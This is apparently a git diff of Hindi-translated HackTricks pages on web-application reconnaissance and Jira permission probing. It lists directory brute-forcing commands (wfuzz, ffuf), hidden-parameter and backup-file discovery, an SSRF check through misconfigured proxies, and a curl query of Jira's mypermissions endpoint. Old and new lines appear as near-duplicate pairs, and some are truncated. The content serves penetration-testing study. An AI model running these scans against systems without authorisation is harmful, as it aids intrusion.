* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो अनुरोध से पैरामीटर और अंतबिंदुओं को निकालने के लिए है ताकि फज़िंग और जाँच के लिए कस्टम वर्डलिस्ट बनाया जा सके।
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक गो पैकेज और [कमांड-लाइन टूल](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत को छुड़ाने, पथ, रहस्य और अन्य दिलचस्प डेटा को निकालने के लिए है।
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो अनुरोध से पैरामीटर और अंतबिंदुओं को निकालने के लिए है।
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
मूल फ़ोल्डर से **ब्रूट-फ़ोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके पाए गए **सभी निर्देशिकाएँ** ब्रूट-फ़ोर्स किए जाएं और सभी निर्देशिकाएँ **स्पाइडरिंग** द्वारा **खोजी गई** हों (आप इस ब्रूट-फ़ोर्सिंग को **पुनरावृत्ति** कर सकते हैं और पाए गए निर्देशिकाओं के नामों को उपयोग करके उपयोग किया जा सकता है)।\
|
||||
मूल फ़ोल्डर से **ब्रूट-फ़ोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके पाए गए **सभी निर्देशिकाएँ** ब्रूट-फ़ोर्स किए जाएं और सभी निर्देशिकाओं को **स्पाइडरिंग** द्वारा **खोजे गए** सभी निर्देशिकाओं का उपयोग करें (आप इस ब्रूट-फ़ोर्सिंग को **पुनरावृत्तिकरण** कर सकते हैं और पाए गए निर्देशिकाओं के नामों को उपयोग करके उपयोग करें)।\
|
||||
उपकरण:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kali में शामिल है, **पुराना** (और **धीमा**) लेकिन कार्यक्षम। ऑटो-साइन की गई प्रमाणित प्रमाणपत्र और पुनरावृत्ति खोज की अनुमति देता है। अन्य विकल्पों के मुकाबले बहुत धीमा है।
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह ऑटो-साइन प्रमाणित प्रमाणपत्र नहीं देता है लेकिन** पुनरावृत्ति खोज की अनुमति देता है।
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): यह ऑटो-साइन प्रमाणित प्रमाणपत्र देता है, यह **पुनरावृत्ति** खोज नहीं करता है।
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावृत्ति खोज का समर्थन करता है।**
|
||||
* **Dirb** / **Dirbuster** - Kali में शामिल है, **पुराना** (और **धीमा**) लेकिन कार्यक्षम। स्वचालित साइन किए गए प्रमाणपत्र और रिकर्सिव खोज की अनुमति देता है। अन्य विकल्पों के मुकाबले बहुत धीमा है।
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह स्वचालित साइन किए गए प्रमाणपत्रों की अनुमति नहीं देता है लेकिन** रिकर्सिव खोज की अनुमति देता है।
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): यह स्वचालित साइन किए गए प्रमाणपत्रों की अनुमति देता है, यह **रिकर्सिव** खोज नहीं करता है।
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, रिकर्सिव खोज का समर्थन करता है।**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/word
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है लेकिन पाए गए URLs की सूची देने के लिए एक उपकरण है जो "डुप्लिकेट" URLs को हटाने के लिए काम करेगा।
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): बर्प हिस्ट्री से विभिन्न पृष्ठों के बर्प इतिहास से निर्देशिकाओं की
|
||||
* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
|
||||
* [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries)
|
||||
* [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
|
||||
* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
|
||||
|
@ -266,19 +270,19 @@ SSL/TLS vulnerabilities के बारे में जानकारी:
|
|||
|
||||
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान नया निर्देशिका पाया जाता है, तो उसे ब्रूट-फोर्स किया जाना चाहिए।_
|
||||
|
||||
### प्रत्येक पाए गए फ़ाइल पर क्या जांचना है
|
||||
### प्रत्येक पाए गए फ़ाइल पर जांचने के लिए क्या देखें
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटी हुई लिंक्स खोजें जो लेने के लिए प्रवृत हो सकती हैं
|
||||
* **फ़ाइल बैकअप्स**: जब आप सभी फ़ाइलें पा लेते हैं, तो सभी एक्जीक्यूटेबल फ़ाइलों की बैकअप्स खोजें ("_.php_", "_.aspx_"...). बैकअप का एक सामान्य रूप है: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप टूल [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
|
||||
* **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे टूल उपयोग करके छुपे हुए पैरामीटर खोज सकते हैं। यदि संभव हो, तो आप प्रत्येक एक्जीक्यूटेबल वेब फ़ाइल पर छुपे हुए पैरामीटर खोजने की कोशिश कर सकते हैं।
|
||||
* _Arjun के सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* [**टूटी हुई लिंक चेकर**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटी हुई लिंक खोजें जो लेने के लिए संवेदनशील हो सकते हैं
|
||||
* **फ़ाइल बैकअप्स**: जब आप सभी फ़ाइलें पा लेते हैं, तो सभी कार्यक्षम फ़ाइलों के बैकअप्स खोजें ("_.php_", "_.aspx_"...). बैकअप का सामान्य रूप है: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप टूल [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
|
||||
* **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे टूल उपयोग करके छुपे पैरामीटर खोज सकते हैं। यदि संभव हो, आप प्रत्येक कार्यक्षम वेब फ़ाइल पर छुपे पैरामीटर खोज सकते हैं।
|
||||
* _Arjun सभी डिफ़ॉल्ट वर्डलिस्टें:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **टिप्पणियाँ:** सभी फ़ाइलों की टिप्पणियाँ जांचें, आप **क्रेडेंशियल्स** या **छुपी हुई कार्यक्षमता** पा सकते हैं।
|
||||
* यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है कि आप पृष्ठ के सही ओर टिप्पणियों में **जानकारी** **छुपाएं** (ब्राउज़र के स्रोत कोड को खोलने पर डेटा दिखाई न देने के लिए **सैंडविच** का उपयोग करें)। दूसरा संभावना यह है कि आप **कई नई लाइनें** का उपयोग करके और पृष्ठ के **नीचे** एक टिप्पणी में **जानकारी** **छुपाएं**।
|
||||
* **API कुंजीः** यदि आप **कोई API कुंजी पाते हैं** तो एक मार्गदर्शिका है जो विभिन्न प्लेटफ़ॉर्मों के API कुंजियों का उपयोग कैसे करें: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API कुंजीः यदि आपको **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik जैसी कोई API कुंजी मिलती है तो आप परियोजना [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग करके जांच सकते हैं कि कुंजी किस APIs तक पहुँच सकती है।
|
||||
* यदि आप **CTF** खेल रहे हैं, तो "सामान्य" एक ट्रिक है कि डेटा को टिप्पणियों में **छुपाया** जाता है पृष्ठ के **दाएं** ओर (जिसे आप ब्राउज़र के स्रोत कोड को खोलने पर देख नहीं सकते हैं) **सैकड़ों अंतरिक्षों का उपयोग करके**। दूसरा संभावना यह है कि आप **कई नई लाइनें** का उपयोग करके वेब पृष्ठ के **नीचे** एक टिप्पणी में **छुपी हुई जानकारी** छुपा सकते हैं।
|
||||
* **API कुंजीः** यदि आप **कोई API कुंजी पाते हैं** तो एक मार्गदर्शिका है जो विभिन्न प्लेटफ़ॉर्मों की API कुंजियों का उपयोग कैसे करें: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API कुंजिः यदि आपको **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik जैसी कोई API कुंजी मिलती है तो आप परियोजना [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग करके जांच सकते हैं कि कुंजी किस APIs तक पहुंच सकती है।
|
||||
* **S3 बकेट्स**: स्पाइडरिंग करते समय देखें कि क्या कोई **सबडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। उस मामले में, [**बकेट की अनुमतियों** की **जांच** करें](buckets/)।
|
||||
|
||||
### विशेष खोज
|
||||
|
@ -287,18 +291,18 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
|
|||
|
||||
**दिलचस्प फ़ाइलें**
|
||||
|
||||
* CSS फ़ाइलों में अन्य फ़ाइलों के **लिंक** खोजें।
|
||||
* [यदि आपको एक _**.git**_ फ़ाइल मिलती है तो कुछ जानकारी निकाली जा सकती है](git.md)।
|
||||
* यदि आपको एक _**.env**_ मिलती है तो जानकारी जैसे API कुंजी, डीबीएस पासवर्ड और अन्य जानकारी पाई जा सकती है।
|
||||
* यदि आप **API एंडपॉइंट्स** पाते हैं तो [आपको उन्हें भी टेस्ट करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद उन्हें "फ़ाइल" जैसा दिखाई देगा।
|
||||
* **JS फ़ाइलें**: स्पाइडरिंग खंड में कई टूल उल्लेख किए गए थे जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, प्रत्येक मिली JS फ़ाइल को **निगरानी** करना भी दिलचस्प हो सकता है, क्योंकि कई अवसरों में, कोड में एक संभावित सुरक्षा दोष शामिल किया गया हो सकता है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
|
||||
* आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की जांच भी करनी चाहिए ताकि पता चले कि वे सुरक्षित हैं या नहीं।
|
||||
* CSS फ़ाइलों में अन्य फ़ाइलों के लिंक खोजें।
|
||||
* [यदि आपको एक _**.git**_ फ़ाइल मिलती है तो कुछ जानकारी निकाली जा सकती है](git.md)
|
||||
* यदि आपको एक _**.env**_ मिलती है तो जानकारी जैसे एपीआई कुंजी, डीबीएस पासवर्ड और अन्य जानकारी पाई जा सकती है।
|
||||
* यदि आप **एपीआई एंडपॉइंट्स** पाते हैं तो [आपको उन्हें भी टेस्ट करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद उन्हें "फ़ाइल" जैसा दिखाया जाए।
|
||||
* **JS फ़ाइलें**: स्पाइडरिंग खंड में कई टूल उल्लेख किए गए थे जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, प्रत्येक मिली JS फ़ाइल का **निगरानी** करना भी दिलचस्प हो सकता है, क्योंकि कई अवसरों में, एक परिवर्तन यह सूचित कर सकता है कि कोड में एक संभावित सुरक्षा दोष शामिल किया गया है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
|
||||
* आपको खोजना चाहिए कि क्या खोजी गई JS फ़ाइलें [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ विकल्पित हैं।
|
||||
* **Javascript Deobfuscator और Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* कई अवसरों में आपको उपयोग किए जाने वाले नियमित अभिव्यक्तियों को समझने की आवश्यकता होगी, यह उपयोगी होगा: [https://regex101.com/](https://regex101.com)
|
||||
* आपको यह भी करना चाहिए कि जिन फ़ाइलों में फ़ॉर्म पाए गए थे, उन्हें **निगरानी** करें, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म के प्रकट होने से संभावित नई विकल्पित कार्यक्षमता का संकेत हो सकता है।
|
||||
* कई अवसरों में आपको उपयोग किए जाने वाले नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी, यह उपयोगी होगा: [https://regex101.com/](https://regex101.com)
|
||||
* आपको यह भी करना चाहिए कि **फ़ाइलें कौन-कौन से फ़ॉर्म्स पाए गए थे** जिसमें पैरामीटर में परिवर्तन या एक नए फ़ॉर्म के प्रकट होने का संकेत हो सकता है कि एक संभावित नया विकल्पित कार्यक्षमता शामिल किया गया है।
|
||||
|
||||
**403 निषिद्ध/बेसिक प्रमाणीकरण/401 अनधिकृत (बायपास)**
|
||||
|
||||
|
@ -308,14 +312,12 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
|
|||
|
||||
**502 प्रॉक्सी त्रुटि**
|
||||
|
||||
यदि कोई पृष्ठ **उस कोड के साथ प्रतिक्रिया देता है**, तो यह शायद एक **बुरी रूप से कॉन्फ़िगर किया गया प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर्स के साथ), **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगा** और आपने एक **SSRF** पाया होगा।
|
||||
यदि कोई पृष्ठ **उस कोड के साथ प्रतिक्रिया देता है**, तो यह शायद एक **बुरी रूप से कॉन्फ़िगर किया गया प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर्स के साथ), **प्रॉक्सी** _**google.com**_ **तक पहुंचने का प्रयास करेगा** और आपने एक **SSRF** पाया होगा।
|
||||
|
||||
**NTLM प्रमाणीकरण - जानकारी विस्फोट**
|
||||
|
||||
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आपको अपने **क्रेडेंशियल्स** के
|
||||
**NTLM प्रमाणीकरण - सूचना विवरण
|
||||
### वेब सुरक्षा जांच
|
||||
|
||||
अब जब वेब एप्लिकेशन की व्यापक गणना पूरी हो गई है, तो अब बहुत सारी संभावित सुरक्षा दोषों की जांच करने का समय है। आप यहाँ चेकलिस्ट पा सकते हैं:
|
||||
अब जब वेब एप्लिकेशन की व्यापक गणना पूरी कर ली गई है, तो समय है कि कई संभावित सुरक्षा दोषों की जांच की जाए। आप यहां चेकलिस्ट पा सकते हैं:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -329,11 +331,11 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
|
|||
|
||||
### परिवर्तनों के लिए पृष्ठों का मॉनिटरिंग
|
||||
|
||||
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों का मॉनिटरिंग कर सकते हैं जिससे सुरक्षा दोषों को डालने वाले परिवर्तन का पता चल सकता है।
|
||||
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों का मॉनिटरिंग कर सकते हैं जो सुरक्षा दोषों को डाल सकते हैं।
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -413,10 +415,10 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को सबमिट करके।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,25 +6,25 @@
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी कंपनी की **विज्ञापनित करना चाहते हैं HackTricks** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs जमा करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जरुरी है_).
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
### विशेषाधिकारों की जांच
|
||||
|
||||
Jira में, **विशेषाधिकारों की जांच** किसी भी उपयोगकर्ता द्वारा की जा सकती है, प्रमाणित या अप्रमाणित, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` इन endpoints के माध्यम से। ये endpoints उपयोगकर्ता की वर्तमान विशेषाधिकारों को प्रकट करते हैं। एक महत्वपूर्ण चिंता उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताएं विशेषाधिकार धारण करते हैं**, जो एक **सुरक्षा भेद** का सूचक हो सकता है जो संभावित रूप से **बाउंटी** के लिए पात्र हो सकता है। उसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित विशेषाधिकार** भी एक **भेद** को प्रकट करते हैं।
|
||||
Jira में, **विशेषाधिकारों की जांच** किसी भी उपयोगकर्ता द्वारा की जा सकती है, प्रमाणित या अप्रमाणित, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` इन एंडपॉइंट्स के माध्यम से। ये एंडपॉइंट्स उपयोगकर्ता की वर्तमान विशेषाधिकारों को प्रकट करते हैं। एक महत्वपूर्ण चिंता उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताएं विशेषाधिकार धारण करते हैं**, जो एक **सुरक्षा भेद** को सूचित कर सकता है जो संभावित रूप से **बाउंटी** के लिए पात्र हो सकता है। उसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित विशेषाधिकार** भी एक **भेद** को हाइलाइट करते हैं।
|
||||
|
||||
एक महत्वपूर्ण **अपडेट** 1 फरवरी 2019 को किया गया था, जिसमें 'mypermissions' endpoint में एक **'अनुमति' पैरामीटर** शामिल करने की आवश्यकता थी। यह आवश्यकता सुरक्षा को **मजबूत करने** का उद्देश्य रखती है जिसके द्वारा पूछे जा रहे विशेषाधिकारों को निर्दिष्ट किया जाता है: [यहां जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
**1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया था, जिसमें 'mypermissions' एंडपॉइंट में एक **'अनुमति' पैरामीटर** शामिल करने की आवश्यकता थी। यह आवश्यकता सुरक्षा को **मजबूत करने** का उद्देश्य रखती है जिसके द्वारा पूछे गए विशेषाधिकारों को निर्दिष्ट किया जाता है: [यहां जांचें](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -78,22 +78,22 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानकारी आवश्यक है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जीरा से जीरा तक जीरा हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जीरा से जीरा तक जीरा हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो करें**.
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
